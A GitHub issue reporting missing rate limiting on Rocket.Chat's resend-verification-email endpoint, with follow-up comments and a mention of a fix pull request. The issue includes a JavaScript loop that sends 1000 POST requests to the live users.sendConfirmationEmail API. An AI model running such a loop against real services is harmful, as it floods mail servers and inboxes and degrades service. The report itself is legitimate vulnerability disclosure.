Skip to content

Resend Verification Email Can Be Abused to Spam Mail Server #35965

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
JASIM0021 opened this issue May 11, 2025 · 4 comments · May be fixed by #35971
Open

Resend Verification Email Can Be Abused to Spam Mail Server #35965

JASIM0021 opened this issue May 11, 2025 · 4 comments · May be fixed by #35971

Comments

@JASIM0021
Copy link

JASIM0021 commented May 11, 2025

Description:

The "Resend Verification Email" feature on the Rocket.Chat profile page can be exploited to send an unlimited number of verification emails in a short period of time. By copying the network request triggered by the "Resend" button and programmatically executing it in a loop (e.g., 1000 times), the server sends a verification email for each request without any rate limiting or throttling in place. This can result in email spam and potentially overload the mail server, leading to degraded performance or service disruption.

Steps to reproduce:

  1. Navigate to: https://open.rocket.chat/account/profile

  2. Below the email input, there's a "Resend Verification Email" button.

  3. Click the button 3–4 times — you’ll receive the same number of verification emails.

  4. Open your browser’s Network tab, and copy the fetch or cURL request for the resend action.

  5. Using the browser console (or any script environment), run the same request in a loop (e.g., 1000 times).

Example:

function sendMail () {



    
fetch("https://open.rocket.chat/api/v1/users.sendConfirmationEmail", {
  "headers": {
    "accept": "application/json",
    "accept-language": "en-US,en;q=0.9",
    "content-type": "application/json",
    "priority": "u=1, i",
    "sec-ch-ua": "\"Chromium\";v=\"136\", \"Google Chrome\";v=\"136\", \"Not.A/Brand\";v=\"99\"",
    "sec-ch-ua-mobile": "?0",
    "sec-ch-ua-platform": "\"macOS\"",
    "sec-fetch-dest": "empty",
    "sec-fetch-mode": "cors",
    "sec-fetch-site": "same-origin",
    "x-auth-token": "<your-auth-token>",
    "x-user-id": "<user-user-id>"
  },
  "referrer": "https://open.rocket.chat/account/profile",
  "referrerPolicy": "same-origin",
  "body": "{\"email\":\"<your-email>\"}",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
}).then((data)=>data.json()).then((data)=>console.log(data,"data"))

}


let count = 0;
while (count < 1000) {
  sendMail();
  count++;
}

Expected behavior:

  • The server should throttle or rate-limit resend email requests.

Ideally, add protections like:

  • Minimum cooldown period (e.g., 3 email per X minutes)

  • CAPTCHA after repeated requests

  • Backend rate limiting and abuse prevention

Actual behavior:

The server sends a separate email for every request, even if they are triggered in rapid succession.

There are no rate limits, cooldowns, or CAPTCHA to prevent abuse.

This allows an attacker to flood the mail server, potentially causing performance degradation or a denial-of-service condition.

Image

Server Setup Information:

  • Version of Rocket.Chat Server:
  • License Type:
  • Number of Users:
  • Operating System:
  • Deployment Method:
  • Number of Running Instances:
  • DB Replicaset Oplog:
  • NodeJS Version:
  • MongoDB Version:

Client Setup Information

Additional context

Image

Relevant logs:

@reetp
Copy link

reetp commented May 11, 2025

Nice!

Referred to team.

A PR might be good ;-)

@ABHYUDAYATIWARI
Copy link

same issue is on first time register page

Image

@TrilokShetty
Copy link

Hello
Is this issue fixed ? If not please reply I will be happy to help

@JASIM0021
Copy link
Author

Hello Is this issue fixed ? If not please reply I will be happy to help

Actually, one pr have been made to fix this issue, but if you'd like, you can still explore the codebase and the issue yourself. Feel free to review the code if you wish.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

4 participants